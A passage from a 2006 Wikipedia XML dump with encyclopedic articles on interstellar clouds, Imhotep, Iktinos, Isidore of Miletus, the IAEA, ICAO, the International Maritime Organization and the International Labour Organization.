Analysing the composition of interstellar clouds is achieved by studying [[electromagnetic radiation]] that we receive from them. Large [[radio telescope]]s scan the intensity in the sky of particular [[frequency|frequencies]] of  electromagnetic radiation which are characteristic of certain molecules' [[electromagnetic spectroscopy|spectra]]. Some interstellar clouds are cold and tend to give out EM radiation of large [[wavelength]]s. We can produce a map of the abundance of these molecules to produce an understanding of the varying composition of the clouds. In hot clouds, there are often ions of many elements, whose spectra can be seen in visible and ultraviolet light.

[[Radio telescope]]s can also scan over the frequencies from one point in the map, recording the intensities of each type of molecule. Peaks of frequencies mean that an abundance of that molecule or atom is present in the cloud. The height of the peak is proportional to the relative percentage that it makes up.

== Unexpected chemicals detected in interstellar clouds ==

Until recently the rates of reactions in interstellar clouds were expected to be very slow, with minimal products being produced due to the low temperature and density of the clouds. However, large [[organic chemistry|organic]] molecules were observed in the spectra that scientists would not have expected to find under these conditions. The reactions needed to create them normally only occur at much higher temperatures and pressures. The fact that they were found indicates that these chemical reactions in interstellar clouds take place faster than suspected. These reactions are studied in the [[CRESU experiment]].

== See also ==

* [[Interstellar medium]]
* [[List of molecules in interstellar space]]

[[Category:Interstellar media|Cloud]]
[[Category:Nebulae]]

[[ca:Pols interestel·lar]]
[[de:Interstellare Wolke]]
[[es:Nube interestelar]]
[[fr:Nuage interstellaire]]
[[it:Nube interstellare]]
[[nl:Nevels en gaswolken]]
[[ja:宇宙塵]]
[[pl:Obłok międzygwiazdowy]]</text>
    </revision>
  </page>
  <page>
    <title>Imhotep</title>
    <id>14980</id>
    <revision>
      <id>41665861</id>
      <timestamp>2006-02-28T22:59:36Z</timestamp>
      <contributor>
        <ip>69.19.14.29</ip>
      </contributor>
      <comment>/* Modern cultural impact */</comment>
      <text xml:space="preserve">[[Image:Imhotep.jpg|thumb|Imhotep, the one who comes in peace]]
'''Imhotep''' (sometimes spelled '''Immutef''', '''&amp;#550;mhotep''', or '''Ii-em-Hotep''', Egyptian ''ii-m-&amp;#7717;tp'') was a [[vizier]], [[wizard]], and the first [[architect]] and [[physician]] known by name to written history. As the [[Pharaoh]] [[Djoser|Djosèr]]'s [[Vizier]], he designed the [[Pyramid of Djzosèr]] ([[Step Pyramid]]) at [[Saqqara]] in [[History of Ancient Egypt|Egypt]] around [[27th century BC|2630]]-[[27th century BC|2611 BC]], during the [[third dynasty of Egypt|3rd Dynasty]]. He may also have been responsible for the first known use of [[column]]s in [[architecture]]. His name means ''the one who comes in peace''. 

Imhotep also served as [[chancellor]] to the [[pharaoh]] and high priest of the sun god [[Ra]] at [[Heliopolis]].  He was said to be a son of [[Ptah]], his mother being a mortal named ''Khredu-ankh''. He was revered as a genius and showered with titles. The full list of titles is: ''Chancellor of the King of Lower Egypt, First after the King of Upper Egypt, Administrator of the Great Palace, Hereditary nobleman, High Priest of Heliopolis, Builder, Sculptor and Maker of Vases in Chief''. Imhotep is credited as the founder of Egyptian medicine, and as author of the [[Edwin Smith papyrus]], detailing cures, ailments and [[anatomy|anatomical]] observations. The Edwin Smith Papyrus was probably written around [[1700 BC]] but may perhaps go back to texts written around 1000 years earlier. 

Two thousand years after his death, his status was raised to that of a [[god]]. Imhotep became the god of [[medicine]] and [[healing]]. He was linked to [[Asclepius]] by the [[Ancient Greece|Greek]]s. As the ''son of Ptah'', his mother was sometimes said to be [[Sekhmet]], who was often said to be married to Ptah, since she was the patron of [[Upper Egypt]]. As he was thought of as the inventor of healing, he was also sometimes said to be the one who held [[Nuit]] (deification of the ''sky'') up, as the separation of Nuit and [[Geb]] (deification of the ''earth'') was said to be what held [[chaos]] back. Due to the position this would have placed him in, he was also sometimes said to be Nuit's son. In artwork he is also linked with [[Hathor]], who was the wife of [[Ra]], [[Maat]], which was the concept of truth and justice, and [[Amenhotep son of Hapu]], who was another deified architect.

The location for Imhotep's tomb is still unknown. Many Egyptologists have tried locating it but so far haven't succeeded. The general consensus is that his tomb is located at [[Saqqara]].

== Fringe theories ==
One fringe theory, supported by a very few amateur Egyptologists, is that Imhotep has strong similarities to the biblical [[Joseph (Hebrew Bible)|Joseph]] [http://www.s8int.com/joseph.html]. Some have suggested the biblical Joseph is a composite created by the authors of the [[Torah]] from a [[Hebrews|Hebrew]] individual and Imhotep, the authors confusing Imhotep for Joseph.

== Modern cultural impact==
''Imhotep'' is also the name of a [[fictional character]] played by [[Boris Karloff]] in the [[1932]] movie ''[[The Mummy (1932 movie)|The Mummy]]'', and of a similar character played by [[Arnold Vosloo]] in the [[1999]] movie ''[[The Mummy (1999 movie)|The Mummy]]'' and its [[2001]] sequel ''[[The Mummy Returns]]''. The architect Imhotep most likely provided the name (but just the name) for the character.

'Imhotep' is also the name of the mortuary priest in [[Agatha Christie]]'s novel '[[Death Comes as the End]]'.

'Imhotep' is also the name of wide receiver Imhotep Durham for the Virginia Cavaliers football team for the year of [[2004]].   
    
'Imhotep' is also the name of a well-known [[French people|French]] [[hip hop music|rapper]] from the group [[Iam]].   
    
'Imhotep' was used as a continuing [[in-joke]] in the BBC series [[Look Around You]], portrayed as an [[Easter Island]] monolith.

The name Imhotep was used by a minor [[Goa'uld]] in the [[Stargate SG-1]] episode 'The Warrior'. '''''Spoiler:''''' Imhotep pretended to be a [[Jaffa (Stargate)|Jaffa]], and led an army of Jaffa in order to kill other Goa'uld and gain power. He was killed by SG-1.

== See also ==
* [[List of Egypt-related topics]]
** [[History of Ancient Egypt]]
*** [[Old Kingdom]]
*** [[Third dynasty of Egypt]]
** [[Pharaoh]]
** [[Pyramid of Djoser]]
** [[Ptah]]
* ''Other lists''
** [[List of people known by one name]]
** [[List of deities]]
** [[List of architects]]
* [[Timeline of medicine and medical technology]]
* [[Column]]

{{Ancient Egyptians}}

[[Category:Ancient Egyptians]]
[[Category:Egyptian gods]]
[[Category:Wisdom gods]]

[[ar:إمحوتب]]
[[ca:Imhotep]]
[[da:Imhotep]]
[[de:Imhotep]]
[[es:Imhotep]]
[[fr:Imhotep]]
[[it:Imhotep]]
[[la:Imuthes]]
[[lt:Imhotepas]]
[[hu:Imhotep]]
[[ms:Imhotep]]
[[nl:Imhotep]]
[[pl:Imhotep]]
[[pt:Imhotep]]
[[ro:Imhotep]]
[[ru:Имхотеп]]
[[sl:Imhotep]]
[[fi:Imhotep]]
[[sv:Imhotep]]
[[tr:İmhotep]]
[[zh:伊姆荷太普]]</text>
    </revision>
  </page>
  <page>
    <title>Iktinos</title>
    <id>14981</id>
    <revision>
      <id>29298031</id>
      <timestamp>2005-11-26T17:48:01Z</timestamp>
      <contributor>
        <username>LeonardoRob0t</username>
        <id>389639</id>
      </contributor>
      <minor />
      <comment>robot  Adding: pt</comment>
      <text xml:space="preserve">'''Iktinos''' (also '''Iktious''' or '''Ictinus''') was an [[architect]] active in the mid [[5th century BC]], who, together with [[Kallikrates]] designed the [[Parthenon]] (447&amp;ndash;432 BC) in [[Athens]], [[Greece]].  

Little is known about the life of Iktinos, most contemporary information being based on the writings of [[Plutarch]].

The most complete surviving example of Iktinos's work is the [[Temple of Hephaestus]] in Athens, which has been preserved almost intact as a result of having been a Christian Church. It is a [[Doric order|Doric]] temple.

Iktinos is also believed to have designed the [[temple of Apollo at Bassae]], the first known use of a [[Corinthian order|Corinthian]] column, and also the [[Telesterion]] shrine of [[Eleusis]], a gigantic hall used in the [[Eleusinian Mysteries]].

The artist [[Jean Auguste Dominique Ingres]] painted a scene showing Iktinos together with the lyric poet [[Pindar]] - the painting is known as ''Pindar and Ictinus'' and is exhibited at the [[National Gallery, London]]. 

==References==
*F. E. Winter (1980) &quot;Tradition and innovation in Doric design: the work of Iktinos&quot; ''in'' American Journal of Archaeology, Issue 4, pp 399 - 416.

See also: [[Kallikrates]]

[[Category:Architects]]

[[es:Ictino]]
[[fr:Iktinos]]
[[it:Ictino]]
[[nl:Ictinus]]
[[pt:Ictinos]]
[[ru:Иктин]]
[[fi:Iktinos]]
[[sv:Iktinos]]</text>
    </revision>
  </page>
  <page>
    <title>Isidore of Miletus</title>
    <id>14982</id>
    <revision>
      <id>29305447</id>
      <timestamp>2005-11-26T19:24:56Z</timestamp>
      <contributor>
        <username>LeonardoRob0t</username>
        <id>389639</id>
      </contributor>
      <minor />
      <comment>robot  Adding: pt</comment>
      <text xml:space="preserve">'''Isidore of Miletus''' was an [[architect]] with [[Anthemius of Tralles]] of [[Hagia Sophia]] in [[Constantinople]].

There had been a large [[basilica]] church built in the [[4th century]] and dedicated to Holy Wisdom in Constantinople;  during the [[Nika riots]] of [[532]] that building was burned down.  [[Justinian I]] decided to rebuild it.  

Isidore of Miletus had earlier taught [[physics]] at [[Alexandria, Egypt|Alexandria]] and then later at [[Constantinople]], and had written a commentary on earlier books on building.

[[Category:Byzantine architects]]
[[Category:Byzantine physicists]]

[[fr:Isidore de Milet]]
[[pt:Isidoro de Mileto]]</text>
    </revision>
  </page>
  <page>
    <title>International Atomic Energy Agency</title>
    <id>14984</id>
    <revision>
      <id>41310743</id>
      <timestamp>2006-02-26T13:23:36Z</timestamp>
      <contributor>
        <username>Boud</username>
        <id>4492</id>
      </contributor>
      <comment>/* IAEA and Iran */ the board did not &quot;refer&quot;, it asked ElBaradei to report Iran to the UNSC immediately following the March meeting</comment>
      <text xml:space="preserve">[[Image:Flag of IAEA.svg|thumb|right|The IAEA flag]]

The '''International Atomic Energy Agency''' ('''IAEA''', internally often referred to as &quot;The Agency&quot;), established as an autonomous organization on [[July 29]], [[1957]], seeks to promote the peaceful use of [[nuclear energy]] and to inhibit its use for [[nuclear weapon |military purposes]]. [[United States]] [[President of the United States|President]] [[Dwight D. Eisenhower]] envisioned, in his &quot;''[[Atoms for Peace]]''&quot; speech before the [[UN General Assembly]] in 1953, the creation of this international body to control and develop the use of atomic energy. The organization and its Director General, [[Mohamed ElBaradei]], were jointly awarded the [[Nobel Peace Prize]] on [[7 October]] [[2005]].

The IAEA has its headquarters in [[Vienna]], [[Austria]]. Additional facilities are located in [[Seibersdorf]] near Vienna; [[Monaco]]; [[Toronto]]; and [[Tokyo]]. 



==History==
The IAEA serves as an intergovernmental forum for scientific and technical co-operation in the peaceful use of nuclear technology. The IAEA's programmes encourage the development of the peaceful application of nuclear technology, provide international safeguards against its misuse, and facilitate the application of safety measures in its use. IAEA expanded its nuclear safety efforts in response to the [[Chornobyl|Chernobyl]] disaster in 1986. 

The IAEA was headed by [[Hans Blix]] from 1981 to 1997, who became unusually well-known because of the [[2002]]-[[2003]] search for [[weapons of mass destruction]] in Iraq. The current head of the organization is the Egyptian Mohamed ElBaradei. At the 49th General Conference, ElBaradei was confirmed as Director General until 2009.

With the increase of [[nuclear proliferation]] in the 1990s, IAEA tasks began to include inspections and investigations of suspected violations of the [[Nuclear Non-Proliferation Treaty]] under the mandate of the [[United Nations]]; however, it can only refer the matter to the [[UN Security Council]], which has the monopoly on UN coercion measures. 
Little has changed in the organizational structure of IAEA; and though its inspection results tend to attract a lot of coverage, the matter of IAEA reform does not.

In a speech to the National Defense University on [[February 11]], [[2004]], U.S. President [[George W. Bush]] proposed: &quot;No state under investigation for proliferation violations should be allowed to serve on the IAEA Board of Governors &amp;mdash; or on the new special committee. And any state currently on the Board that comes under investigation should be suspended from the Board. The integrity and mission of the IAEA depends on this simple principle: Those actively breaking the rules should not be entrusted with enforcing the rules.&quot; [http://www.whitehouse.gov/news/releases/2004/02/20040211-4.html]

The remarks were seen as a comment on the [[Abdul Qadeer Khan|Khan affair]], which triggered calls for an IAEA investigation of [[Pakistan]], a country currently included in the organization's Board of Governors.

The Agency and Director General Mohamed ElBaradei were awarded the [[Nobel Peace Prize]] in 2005.
ElBaradei said in his speech that only 1% of the money spent on developing new weapons would be enough to feed the entire world.

==IAEA and Iran==
In February [[2003]] Mohamed ElBaradei traveled to [[Iran]] with a team of inspectors to investigate [[Iran's nuclear program]]. By November, Mr. ElBaradei stated that there was &quot;no evidence&quot; that Iran was pursuing [[nuclear weapon|nuclear weapons]]. On [[December 18]], [[2003]] Iran signed the Additional Protocol at the IAEA headquarters in [[Vienna]], and acted in accord with its provisions pending completion of ratification of the protocol.
[http://www.iaea.org/Publications/Documents/Board/2005/gov2005-87.pdf].

[[Ayatollah]] [[Ali Khamenei]] issued a [[fatwa]] forbidding the production, stockpiling and use of nuclear weapons on [[August 9]], [[2005]]. The full text of the [[fatwa]] was released in an official statement at the meeting of the International Atomic Energy Agency (IAEA) in [[Vienna]]. [http://www.ww4report.com/node/929].

In September 2005 the [[International Institute for Strategic Studies]] concluded in a report that Iran was still many years away from acquiring a nuclear weapons capability.
[http://www.iiss.org/showdocument.php?docID=661].

On [[January 9]], [[2006]] Iran resumed certain aspects of nuclear energy research and development in spite of [[2005-2006 US-Israeli threats to attack Iran|international displeasure and pressure]] from the [[United States]], the [[European Union]] and [[Russia]]. [http://www.iaea.org/NewsCenter/PressReleases/2006/prn200601.html] [http://www.cbc.ca/story/world/national/2006/01/10/iran060110.html] [http://news.xinhuanet.com/english/2006-01/11/content_4035891.htm]

On [[February 4]], [[2006]] the Board of the International Atomic Energy Agency decided (&quot;resolved&quot;) to request the IAEA director-general, [[Mohamed ElBaradei]], to make a report concerning Iran to the [[United Nations Security Council]] following the March 2006 meeting of the IAEA Board. This resolution was decided by a vote of 27-3 (27 member nations voted for the resolution, 3, [[Cuba]], [[Syria]] and [[Venezuela]], voted against the resolution, and the remaining 5, [[Algeria]], [[Libya]], [[Indonesia]], [[South Africa]] and [[Belarus]], abstained).
[http://www.iaea.org/Publications/Documents/Board/2006/gov2006-14.pdf]

==See also== 
*[[Nuclear proliferation]]
*[[Nuclear Non-Proliferation Treaty]]
*[[Nuclear power]]
*[[Nuclear weapon]]
*[[Nuclear reactor]]
*[[Sterile Atomic Fly]]
*[[United Nations Atomic Energy Commission]]

==External links==
*[http://www.iaea.org IAEA website]
*[http://www.iaea.org/NewsCenter/Focus/IaeaIran/index.shtml In Focus : IAEA and Iran]
*[http://www.iaea.org/Publications/Magazines/Bulletin/index.html IAEA Bulletin]
*[http://www.nuclearfiles.org/menu/key-issues/nuclear-energy/history/background-safeguards.htm NuclearFiles.org] Background on IAEA Safeguards Agreements
*[http://explosive.on-topic.net/explosive_by_name/A Explosives]

{{start box}}
{{succession box | before = [[Wangari Maathai]] | title = [[List of Nobel laureates#Peace|Nobel Peace Prize]] | years =2005 | after = incumbent}}
{{end box}}

[[Category:International organizations]]
[[Category:Nuclear organizations]]
[[Category:Nobel Peace Prize winners]]
[[Category:October 2005 news]]

[[cs:Mezinárodní agentura pro atomovou energii]]
[[ca:Agència Internacional de l'Energia Atòmica]]
[[da:IAEA]]
[[de:Internationale Atomenergieorganisation]]
[[es:Organismo Internacional de Energía Atómica]]
[[eo:Internacia Atomenergia Organizo]]
[[fa:آژانس بین‌المللی انرژی اتمی]]
[[fr:Agence internationale de l'énergie atomique]]
[[ko:국제원자력기구]]
[[id:Badan Tenaga Atom Internasional]]
[[it:Agenzia Internazionale per l'Energia Atomica]]
[[he:הסוכנות הבינלאומית לאנרגיה אטומית]]
[[nl:Internationaal Atoomenergie Agentschap]]
[[ja:国際原子力機関]]
[[no:Det internasjonale atomenergibyrået]]
[[nn:Det internasjonale atomenergibyrået]]
[[pl:Międzynarodowa Agencja Energii Atomowej]]
[[pt:Agência Internacional de Energia Atómica]]
[[ru:Международное агентство по атомной энергии]]
[[sl:Mednarodna agencija za jedrsko energijo]]
[[fi:Kansainvälinen atomienergiajärjestö]]
[[sv:IAEA]]
[[ta:பன்னாட்டு அணுசக்தி முகமையகம்]]
[[th:สำนักงานพลังงานปรมาณูระหว่างประเทศ]]
[[vi:Cơ quan Năng lượng Nguyên tử Quốc tế]]
[[tr:Uluslararası Atom Enerji Ajansı]]
[[zh:国际原子能机构]]</text>
    </revision>
  </page>
  <page>
    <title>International Civil Aviation Organization</title>
    <id>14985</id>
    <revision>
      <id>40563271</id>
      <timestamp>2006-02-21T13:20:46Z</timestamp>
      <contributor>
        <username>Tobias Conradi</username>
        <id>10784</id>
      </contributor>
      <comment>/* ICAO Codes */ These consist of the three letter airline identifer</comment>
      <text xml:space="preserve">[[Image:ICAO.JPG|right|150px]]
The '''International Civil Aviation Organization''' ('''ICAO'''), an agency of the [[United Nations]], develops the principles and techniques of international air navigation and fosters the planning and development of international [[scheduled air transport|air transport]] to ensure safe and orderly growth.

The ICAO Council adopts standards and recommended practices concerning air navigation, prevention of unlawful interference, and facilitation of border-crossing procedures for international [[civil aviation]]. [[Assad Kotaite]] has served as President of the ICAO Council since [[1976]], but will retire from that post in August, [[2006]]. 

In addition, the ICAO defines the protocols for [[air accident investigation]] followed by transport safety authorities in countries signatory to the [[Convention on International Civil Aviation]], commonly known as the [[Chicago Convention]]. See [[NTSB]], [[Transportation Safety Board|TSB]], [[AAIB]], [[Bundesstelle für Flugunfalluntersuchung|BFU]], and [[Bureau d'Enquêtes et d'Analyses pour la sécurité de l'Aviation Civile|BEA]].

Its ''headquarters'' are located in the ''[[Quartier international de Montréal|Quartier International]]'' of [[Montreal]], [[Canada]].

The ICAO should not be confused with the [[International Air Transport Association]] (IATA), a trade organization for [[airline]]s also headquartered in Montreal.

==ICAO Codes==

Both ICAO and IATA have their own airport and airline code systems. 
ICAO uses 4-letter [[ICAO airport code|airport codes]], and 3-letter [[ICAO airline designator|airline codes]]. IATA is scheduled to eventually switch its codes to the ICAO standard.

ICAO is also responsible for issuing [[alphanumeric]] [[aircraft]] type codes that contain 3 or 4 characters. These codes provide the identification that is typically used in [[flight plan]]s. An example of this is the [[Boeing 747]] that would use (depending on the variant) '''B741''', '''B742''' ,'''B743''', etc.

ICAO provides [[telephony]] designators to aircraft operators worldwide. These consist of the three letter airline identifer and a one or two word designator. They are usually, but not always, similar to the aircraft operator name. Thus the identifer for [[Aer Lingus]] is '''EIN''' and the designator is '''Shamrock''' while [[Japan Airlines]] International is '''JAL''' and '''Japan Air''' . So a flight by Aer Lingus numbered 111 would be written as &quot;EIN111&quot; and pronounced &quot;Shamrock 111&quot; on the radio, while a similarly numbered Japan Airlines flight would be written as &quot;JAL111&quot; and &quot;Japan Air 111&quot;.

==ICAO statute==

The 8th edition of the Convention on International Civil Aviation includes modifications from [[1948]] up to year [[2000]]. The ICAO refers to its current edition of the convention the ''statute'', and designates it as ICAO Doc 7300/8.

The convention has 18 annexes:

*Annex 1	- Personnel Licensing
*Annex 2	- Rules of the Air
*Annex 3	- Meteorological Service for International Air Navigation
*Annex 4	- Aeronautical Charts
*Annex 5	- Units of Measurement to be Used in Air and Ground Operations
*Annex 6	- Operation of Aircraft - Aeroplanes
*Annex 7	- Aircraft Nationality and Registration Marks
*Annex 8	- Airworthiness of Aircraft
*Annex 9	- Facilitation
*Annex 10	- Aeronautical Telecommunications - Digital Data Communication Systems
*Annex 11	- Air Traffic Services
*Annex 12	- Search and Rescue
*Annex 13	- Aircraft Accident and Incident Investigation
*Annex 14	- Aerodromes - Aerodrome Design and Operations, Heliports
*Annex 15	- Aeronautical Information Services
*Annex 16	- Environmental Protection - Aircraft Noise
*Annex 17	- Security: Safeguarding International Civil Aviation Against Acts of Unlawful Interference
*Annex 18	- The Safe Transport of Dangerous Goods by Air

==ICAO standards==
The ICAO also standardizes certain functions for use in the airline industry, such as the [[Aeronautical Message Handling System]] AMHS; this probably makes it a [[standards organization]].

==Regions and regional offices==

The ICAO has seven regional offices serving nine regions:

:1. Asia and Pacific, [[Bangkok|Bangkok, Thailand]] 
:2. Middle East, [[Cairo|Cairo, Egypt]]
:3. Western and Central Africa, [[Dakar|Dakar, Senegal]]  
:4. South America, [[Lima|Lima, Peru]] 
:5. North America, Central America and Caribbean, [[Mexico City|Mexico City, Mexico]] 
:6. Eastern and Southern Africa, [[Nairobi|Nairobi, Kenya]] 
:7. Europe and North Atlantic, [[Paris|Paris, France]]

==See also==
*[[Air safety]]
*[[ICAO airport code]]
* [[Kenneth Beaumont]]

==External links==
* [http://www.icao.int International Civil Aviation Organization website]
* [http://www8.landings.com/cgi-bin/get_file?APT/icao_prefix.html ICAO airport code prefixes] (not to be confused with the [[IATA]] [http://www.faa.gov/ATPUBS/LID/LIDHME.htm location identifiers])
* [http://www.icao.int/anb/ais/8643/MnfctrerList.cfm ICAO Aircraft listing with codes]

[[Category:Aviation authorities]]
[[Category:Montreal]]
[[Category:United Nations specialized agencies]]

[[cs:Mezinárodní organizace pro civilní letectví]]
[[da:International Civil Aviation Organisation]]
[[de:International Civil Aviation Organisation]]
[[es:Organización de Aviación Civil Internacional]]
[[fr:Organisation de l'aviation civile internationale]]
[[ko:국제민간항공기구]]
[[it:Organizzazione Internazionale dell'Aviazione Civile]]
[[hu:ICAO]]
[[ms:International Civil Aviation Organization]]
[[nl:International Civil Aviation Organization]]
[[ja:国際民間航空機関]]
[[pl:Międzynarodowa Organizacja Lotnictwa Cywilnego]]
[[pt:Organização de Aviação Civil Internacional]]
[[fi:Kansainvälinen siviili-ilmailujärjestö]]
[[sv:ICAO]]
[[tr:Uluslararası Sivil Havacılık Örgütü]]
[[zh:国际民航组织]]</text>
    </revision>
  </page>
  <page>
    <title>International Maritime Organization</title>
    <id>14986</id>
    <revision>
      <id>40364437</id>
      <timestamp>2006-02-20T01:58:39Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">&lt;div style=&quot;float:right; margin:0 0 1em 1em; font-style:italic;&quot;&gt;[[Image:HeadquartersoftheInternationalMaritimeOrganisation.jpg|thumbnail|none|Headquarters of the International Maritime Organisation in Lambeth, adjacent to the east end of Lambeth Bridge]]
&lt;br&gt;[[Image:International Maritime Organization Building - London - Across the Thames - 240404.jpg|thumbnail|none|Headquarters building taken from the west side of the Thames]]&lt;/div&gt;

Headquartered in [[London]], [[United Kingdom|U.K.]], the '''International Maritime Organization (IMO)''' promotes cooperation among governments and the shipping industry to improve [[maritime]] safety and to prevent marine pollution. Recent initiatives at the IMO have included amendments to the [[International Convention for the Safety of Life at Sea|Safety of Life at Sea Convention (SOLAS)]], which upgraded fire protection standards on [[Passenger ship|passenger ships]], the [[STCW|International Convention on Standards of Training, Certification and Watchkeeping for Seafarers (STCW)]] which establishes basic requirements on training, certification and watchkeeping for seafarers and to the Convention on the Prevention of Maritime Pollution ([[MARPOL 73/78]]), which required double hulls on all [[Tanker (ship)|tankers]].  All these initiatives were instigated by representatives of the [[United States]] before the IMO.

The concept of IMO was born after the [[RMS Titanic|RMS ''Titanic'']] disaster. By modern standards, the design of the ''Titanic'' made her appallingly vulnerable. Her &quot;watertight&quot; bulkheads, by design, did not extend all the way to the overhead because the engineers calculated that it was impossible for the ship to take on a trim or list sufficient for water to cascade over their tops if the bulkheads were of a certain height. 

When ''Titanic'' struck the iceberg, these calculations were proven dismally incorrect. When people began abandoning ship, it became obvious that not nearly enough [[lifeboat]]s were available. Many lives and much money were lost in this tragedy.

Up until that time, each nation had made its own rules about ship design, construction, and safety equipment. The ''Inter-Governmental Maritime Consultative Organization (IMCO)'' was formed in response to the ''Titanic'' event, but was &quot;put on the back burner&quot; when [[World War I]] broke out. After the war ended, IMCO was revived and produced a group of regulations concerning shipbuilding and safety called &quot;Safety Of Life At Sea&quot;...&quot;[[SOLAS]]&quot;. Through the years, SOLAS has been modified and upgraded to adapt to changes in technology and lessons learned.

IMCO eventually became IMO.  IMO regularly enacts regulations (such as the [[International Regulations for Preventing Collisions at Sea]]) which are enforced by class societies and recognized organizations who survey ships regularly to ensure compliance with specific laws applicable to each individual ship. Port State Control authority was enacted, allowing such agencies as the US and British [[coast guard]]s to inspect foreign flag ships calling at ports of the many port states. Memoranda of Understanding were signed by some countries unifying Port State Control procedures among the signators. 

Of course, the numbers will never be known, but IMO has protected countless lives, saved enormous amounts of money, and prevented numerous environmental disasters over the years.

Prior to [[11 September]] [[2001]], IMO had begun work on the [[ISPS code|International Ship and Port Security Code]], which was designed to provide guidance for shipowners and port facilities in establishing strict security procedures to prevent weapons of mass destruction and other contraband from being transported by ship. The [[September 11, 2001 attacks|tragic events of 9/11]] created greater urgency to this effort and, in [[December 2002]], new amendments to the 1974 SOLAS Convention were enacted. These amendments gave rise to the International Ship and Port Security Code, which went into effect on [[1 July]] [[2004]].

The ISPS Code required most ships and port facilities engaged in international trade to establish and maintain strict security procedures as specified in ship and port specific Ship Security Plans and Port Facility Security Plans.  The concept of the Code is to provide layered and redundant defenses against smuggling, terrorism, piracy, stowaways, etc. 

The IMO is also responsible for publishing the [[International Code of Signals]] for use between merchant and naval vessels.

==See also==
* [[Supply Chain Security]]

==External links==
*[http://www.imo.org/home.asp International Maritime Organization home page]

[[Category:United Nations specialized agencies]]
[[Category:Water transport]]

[[da:International Maritime Organization]]
[[de:Internationale Seeschifffahrts-Organisation]]
[[nl:International Maritime Organization]]
[[no:International Maritime Organization]]
[[sv:International Maritime Organization]]</text>
    </revision>
  </page>
  <page>
    <title>International Labour Organization</title>
    <id>14987</id>
    <revision>
      <id>40982720</id>
      <timestamp>2006-02-24T07:19:38Z</timestamp>
      <contributor>
        <username>Bookandcoffee</username>
        <id>149887</id>
      </contributor>
      <minor />
      <comment>rm redirect note - ILO goes straight to disambig</comment>
      <text xml:space="preserve">&lt;!-- Spelling: en-GB-oed (-ize) --&gt;
&lt;!-- Yes, the official name uses Commonwealth spelling of &quot;Labour&quot; and the U.S. spelling of &quot;Organization&quot; --&gt;
[[Image:International Labour Org.jpg|right|thumb]]

The '''International Labour Organization (ILO)''' is a specialized agency of the [[United Nations]] to deal with [[labour (economics)|labour]] issues. Its headquarters are in [[Geneva]], [[Switzerland]]. Founded in [[1919]], it was formed through the negotiations of the [[Treaty of Versailles]], and was initially an agency of the [[League of Nations]]. It became a UN body after the demise of the League and the formation of the UN at the end of [[World War II]]. Its current charter, the [[Declaration of Philadelphia]], was adopted in [[1944]]. Its [[secretariat]], or support staff, is known as the International Labour Office.

The organization seeks to strengthen [[worker rights]], improve [[working conditions]] and living conditions, create [[employment]], and provide information and training opportunities. ILO programmes include the [[occupational safety and health]] hazard alert system and the [[labour standards]] and [[human rights]] programmes.

Historically, one of the functions the ILO has performed has been the establishment of international standards for workers' conditions, which have then become the basis for [[trade union]] and other activism in individual countries. It is a relatively low-profile UN agency compared to some of those more active in crises, such as the [[World Health Organization]].

== International Labour Conference ==

The ILO hosts the [[International Labour Conference]] in Geneva every year in June. At the Conference, conventions and recommendations are crafted and adopted by majority decision. The Conference also makes decisions on the ILO's general policy, work programme and budget. 

Each member state is represented at the International Labour Conference by four delegates: two government delegates, an employer delegate and a worker delegate. All delegates have individual voting rights, and all votes are equal, regardless of the population of the delegate's member state. The employer and worker delegates are normally chosen in agreement with the most representative national organizations of employers and workers. Usually, the worker delegates coordinate their voting, as do the employer delegates.

=== Conventions ===

The decision-making process of the ILO means that conventions need government support to be adopted. Despite this, not all governments voting for a convention end up ratifying it. For instance, after ten years, the [[Part-Time Work Convention]] adopted in 1994 had been ratified by only ten countries. On the other hand, a group of eight conventions, defined by the ILO as &quot;fundamental&quot;, have enjoyed far wider recognition. These have all been ratified by a majority of the member states, and are known as the [[international labour standards]].

With the ratification of a convention comes a legal obligation to apply its provisions. Governments are required to submit reports detailing their compliance with the obligations of the resolutions they have ratified. Every year, the International Labour Conference's Committee on the Application of Standards examine a number of suspected breaches of ILO labour standards. Cases can cover all areas of policy and practice, e.g. [[freedom of association]], [[discrimination]], [[child labour]] and maternity protection. In recent years, one of the member states that has received the most attention is [[Myanmar]], as the country has repeatedly been criticized for its failure to guarantee fundamental worker's rights. The ILO's repeated expression of &quot;grave concern&quot; in this case also illustrates the organization's lack of [[sanctions|sanction]] possibilities.

=== Recomendations ===

Recommendations do not have the binding force of Conventions, and are not subject to ratification by member countries. Recommendations may be adopted at the same time as Conventions to supplement the latter with additional or more detailed provisions. The intent of these recomendations is often to more precisely detail the priciples of related Conventions.

In other cases Recommendations may be adopted separately, and address issues not covered by, or unrelated to any particular Convention.

== Child labour ==
The ILO has a specialist programme addressing child labour, the [[International Programme on the Elimination of Child Labour]] (IPEC).

The ILO maintains an International Training Centre in [[Turin, Italy]].

The organization received the [[Nobel Peace Prize]] in [[1969]].[http://nobelprize.org/peace/laureates/1969/labour-history.html]

==External links==

* [http://www.ilo.org/ Official site], including:
**[http://www.ilo.org/public/english/standards/relm/ilc/ International Labour Conference]
**[http://www.ilo.org/ilolex/english/convdisp1.htm ILO conventions]
**[http://www.ilo.org/ilolex/english/recdisp1.htm ILO recommendations]

{{start box}}
{{succession box | before = [[René Cassin]] | title = [[List of Nobel laureates#Peace|Nobel Peace Prize]] | years =1969 | after = [[Norman Borlaug]]}}
{{end box}}

[[Category:International Labour Organization]]
[[Category:Nobel Peace Prize winners]]

[[be:Міжнародная арганізацыя працы]]
[[ca:Organització Internacional del Treball]]
[[cs:Mezinárodní organizace práce]]
[[da:International Labour Organization]]
[[de:International Labour Organization]]
[[es:Organización Internacional del Trabajo]]
[[fa:سازمان بین المللی کار]]
[[fr:Organisation internationale du travail]]
[[nl:Internationale Arbeidsorganisatie]]
[[ja:国際労働機関]]
[[no:Den internasjonale arbeidsorganisasjonen]]
[[pl:Międzynarodowa Organizacja Pracy]]
[[pt:Organização Internacional do Trabalho]]
[[sk:Medzinárodná organizácia práce]]
[[sl:Mednarodna organizacija dela]]
[[fi:Kansainvälinen työjärjestö]]
[[sv:ILO]]
[[tr:ILO]]
[[uk:Міжнародна організація праці]]
[[zh:國際勞工組織]]</text>
    </revision>
  </page>
  <page>
    <title>IAEA</title>
    <id>14988</id>
    <revision>
      <id>15912505</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[International Atomic Energy Agency]]
